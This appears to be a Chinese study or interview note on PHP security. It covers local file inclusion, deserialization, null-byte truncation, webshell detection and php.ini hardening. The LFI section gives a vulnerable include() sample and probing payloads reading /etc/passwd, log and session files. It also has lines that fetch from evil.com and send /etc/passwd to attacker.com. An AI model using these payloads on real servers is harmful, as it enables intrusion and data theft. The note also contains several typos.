PHP常见漏洞问题?
- PHP本地文件包含(LFI)漏洞
本地文件包含漏洞时是指PHP代码使用了包含函数如(include、requier、include_once、require_once)但包含的文件路径由用户可控且未经过严格过滤,导致攻击者可以包含服务器上的任意文件。
<?php // 漏洞代码示例:LFI漏洞 $page = $_GET['page']; // 用户直接控制文件路径 include($page . '.php'); // 直接包含用户指定的文件 ?>
防御:
避免直接使用用户输入作为包含路径
使用白名单机制限制可包含的文件
设置open_basedir限制php可访问的目录
禁用危险函数:allow_url_include=off
对用户输入进行严格过滤 - PHP本地文件包含(LFI)漏洞手动挖掘方法
1、寻找包含点:查找URL参数、POST参数、Cookie等用户输入点常见参数名(page、file、template、mpdule等,例如:index.php?page=about)
2、测试包含功能:
尝试修改参数值:index.php?page=../../../etc/passwd
尝试使用空字节截断(php<5.3):index.php?page=../../../etc/passwd%00
尝试使用路径遍历:indux.php?page=./././etc/passwd
3、观察响应:成功包含时可能显示文件内容,失败时可能有错误信息泄露路径信息 - PHP本地文件包含(LFI)漏洞无回显情况下的文件遍历技巧
1、使用PHP封装器:php://filter读取文件内容:index.php?page=php://filter/convert.base64-encode/resource=config.php读取后回返回base64编码内容,解码即可
2、利用日志文件包含:包含apache日志:indux.php?page=../../../var/lpg/apache2/access.log,然后通过User-Agent注入PHP代码。
3、利用/proc/self/environ:index.php?page=../../../proc/self/environ,通过User-Agent注入php代码
4、利用PHP会话文件:先确定会话文件位置,包含会话文件:index.php?page=../../../var/lib/php5/sess_[sessionid]
5、时间延迟技术:使用sleep()函数判断文件是否存在:index.php?page=http://evil.com/shell.txt&cmd=sleep(10)
6、DNS外带数据:使用file_get_contents("http://attacker.com/".file_get_contents("/etc/passwd")) - PHP反序列化漏洞
原理:php反序列化漏洞是由于应用程序对用户提供的序列化数据反序列化时,未进行适当的安全检查,导致攻击者能够注入恶意对象,触发危险的类从而执行任意代码或进行其他恶意操作。
1、核心机制:
序列化:将对象转化为可以存储或传输的字符串格式
反序列化:将字符串重新转换为对象
2、魔法方法:
_ _wakeup():反序列化时自动调用
_ _destruct():对象销毁时自动调用
_ _toString():对象被当作字符串使用时调用
_ _sleep():
_ _get():
_ _set():
_ _isset():
_ _unset():
_ _invork():当脚本尝试将对象调用为函数时触发
防御:
1、对用户输入进行验证和过滤
2、使用安全的替代方法,使用JSON更安全的格式代替PHP序列化
3、PHP.ini配置加固:禁用危险函数(eval、shell_exec、exec、paathru、system、popen、proc_open、unserialize、include、require、assert)
4、对序列化数据进行签名验证
5、升级PHP版本,最小化权限运行
6、定期安全检查脚。
- PHP webshell检测方法
1、特征码检测:
常见危险函数扫描:grep -r
混淆特征检测:
2、文件哈希对比:生成原始文件哈希 find /var/www/html -type f -name ".php" -exec md5sum {} ; >clean_hashes.txt
定期比对:md5sum -c clean_hashes.txt | grep FAILED
3、时间戳分析:查找最近修改的PHP文件 find /var/www/html -name ".php" -mtime -1
4、工具扫描
5、动态监控:进程监控、网络连接监控(netstat、lsof)、日志分析
6、设置防火墙 - php的%00截断的原理是什么?
php是由C语言开发的,c语言中%00为结束符号,PHP继承了C语言这一特性
%00截断(空字节截断)漏洞是PHP<5.3版本中一个经典文件处理漏洞。%00是URL编码的空字节(NULL byte),对应ASCII码0,C语言中用作终止符。 - php.ini中能设置那些特性
1、错误报告设置:生产环境关闭错误显示(dispaly_errors = off),开启错误日志记录(log_error=on)设置错误日志路径(error_log= /var/log/php_errors.log)
2、文件系统安全:限制PHP可访问目录(open_basedir="/var/www/html:/tmp")
禁止危险文件操作(allow_url_fopen=off allow_url_include = off)
禁止文件上传(file_uploads = off)
3、执行限制配置:禁用危险函数、禁用危险类、限制内存使用、限制执行时间、限制输入时间、限制POST数据大小、
4、安全会话限制:设置安全会话cookie参数
5、数据处理安全:输入过滤、反序列化保护
6、扩展安全配置:
7、HTTP头安全
8、文件上传安全 - php里面有哪些方法可以不让错误回显?
1、修改php.ini配置:; 关闭所有错误显示display_errors = Off;
开启错误日志记录(推荐)log_errors = On;
指定错误日志文件路径error_log = /var/log/php_errors.log
2、.htaccess文件配置:# 对于Apache服务器
php_flag display_errors off
php_value error_log /var/log/php_errors.log